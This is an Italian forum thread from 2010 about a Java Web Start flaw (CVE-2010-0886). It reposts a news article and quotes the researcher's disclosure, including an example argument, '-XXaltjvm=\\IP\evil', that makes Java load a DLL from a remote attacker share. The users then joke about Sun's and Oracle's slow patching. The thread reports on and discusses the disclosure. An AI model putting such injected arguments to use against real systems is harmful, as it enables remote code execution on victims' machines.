[Java] falla segnalata...

[ally]

...ciao...

...forse un thread fuori dal comune per questa sezione ma posto comuqnue questa news (http://www.tomshw.it/cont/news/java-ha-una-grave-falla-tutti-i-windows-minacciati/24809/1.html)...


Ti trovi in: Ict Business Software E Sicurezza
Java ha una grave falla, tutti i Windows minacciati
di Valerio Porcu
Martedì 13 aprile 2010
Stampa Commenti (17) Condividi4 Buzz it
È emersa una falla in Java che permette l'esecuzione di codice arbitrario sul computer della vittima. Nessuna soluzione per ora, tranne alcune correzioni parziali da eseguire in locale.

Java nasconde una grave minaccia per tutte le versioni di Windows. Secondo due diversi ricercatori, infatti, Java Web Start framework (JWSF, che semplifica lo sviluppo delle applicazioni) può essere sfruttato per creare siti pericolosi.

Come altri attacchi, anche in questo caso il primo passo è indurre l'utente a visitare una pagina web disegnata ad hoc o compromessa. Qui un tag HTML permetterebbe ad un malintenzionato di eseguire codice arbitrario pericoloso.

Tutti i browser esistenti sono in pericolo, proprio perché la vulnerabilità è nel plug-in, e non nel browser stesso. Disabilitare il plug-in non risolvere il problema, perché il componente usato come veicolo, JWSF, è installato separatamente, come parte dell'ambiente Java. In altre parole chiunque abbia una versione recente di Java è potenzialmente a rischio.

"Java.exe e javaw.exe supportano una parametro da linea di comando nascosto e non documentato. Permette di caricare una libreria JavaVM alternativa (jvm.dll o libjvm.so)", e saltare così tutte le misure di sicurezza.

Sun è stata informata del problema, e si attende ora un aggiornamento di Java. Tavis Ormandy, uno dei ricercatori, ha detto di aver diffuso le informazioni scoperte perché "è nell'interesse di tutti, tranne che in quelli del produttore". Il ricercatore ha anche creato una dimostrazione accessibile a tutti, a questo indirizzo.

Al momento esistono solo alcune soluzioni parziali, consigliate da Symantec. Si ritiene improbabile che possano essere colpiti anche Linux e Mac OS.

...ciao Andrea...

[WarDuck]

"Si ritiene improbabile che vengano colpiti Linux e MacOS", se magari si degnassero di spiegare anche il motivo...

Ad ogni modo PRIVILEGI LIMITATI SEMPRE!

[zakmckraken]

Per la cronaca
http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

[banryu79]

Pare che il problema sia dovuto all'esistenza di due parametri non documentati, e alla mancanza di controlli stringenti sui parametri in input:

java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe).This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path. Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP...



"Si ritiene improbabile che vengano colpiti Linux e MacOS", se magari si degnassero di spiegare anche il motivo...

Tratto da qua: http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1 (il test case del tizio che ha scoperto questa vulnerabilità)


Updated Although Linux contains vulnerable code, I was unable to exploit it in the same manner. It likely can be exploited by using the proper sequence of command-line arguments, but the sudden release didn't allow me to research into this issue.I was focused on Windows at the moment of the disclosure.


E qui:http://seclists.org/fulldisclosure/2010/Apr/119
leggo questa perla:

-------------------
Solution
-----------------------

Sun has been informed about this vulnerability, however, they informed me they
do not consider this vulnerability to be of high enough priority to break their
quarterly patch cycle.

For various reasons, I explained that I did did not agree, and intended to
publish advice to temporarily disable the affected control until a solution is
available.

Be, dai, che vuoi che sia in fin dei conti? :eekk:

[cdimauro]

Buffoni. Non c'è da aggiungere altro. :muro:

[xcdegasp]

un buon firewall che abbia modulo hips e dns di opendns.com possono arginare il problema :)

[WarDuck]

Cmq non ho ben capito perché disattivando il plugin Java da Firefox sarebbe lo stesso vulnerabile.

[PGI-Bis]

Questa mi fa morire.

Tu sei lì che per distribuire un programma java che una notte ha sognato di un tizio che pensava di chiedere all'utente di aprire un file (di testo) devi:

andare dal notaio col certificato di cresima per avere un codice hash da portare al ministero che ti fa un esame del dna da portare in ginocchio a lourdes, firmare tutto in modo tale che l'utente, lanciando il tuo programma, si trovi di fronte ad una finestra che dice "ma che cazzo stai facendo!!!".

Poi prendi apri una pagina internet a caso e ti scompare l'hard disk senza neanche dirti "be'".

Ti viene da dire: "ma allora vaffanculo!".

O no?

[banryu79]

O no?

Beh, dai, dopotutto il parametro XXaltjvm non è documentato... eccheccazzo, cosa pretendevi?
Va che ci vuole qualche voltagabbana a farlo spuntare fuori, oppure uno che ci si metta proprio proprio di impegno per sgamarlo...

Considerala come un'alternativa percorribile alla normale via crucis che solitamente toccherebbe propinarsi: Sun ha già detto che affronteranno il problema deprecando l'uso di quel parametro :asd:

[gugoXX]

Coraggio.
Sara' gia' stata inserita nella priority list di Oracle Technet.

Fra 3-4 mesi verra' risolta.
:fagiano:

[PGI-Bis]

Le solite maldicenze su Oracle. Stanno solo cercando di capire a chi possono fatturare il fix.

[astorcas]

what? no non ci credo... :asd:

[PGI-Bis]

http://www.oracle.com/technology/deploy/security/alerts/alert-cve-2010-0886.html

[^TiGeRShArK^]

'sti cazzi tanto mac os x non è vulnerabile. :ciapet:

[gugoXX]

Bravi, l'hanno aggiustata.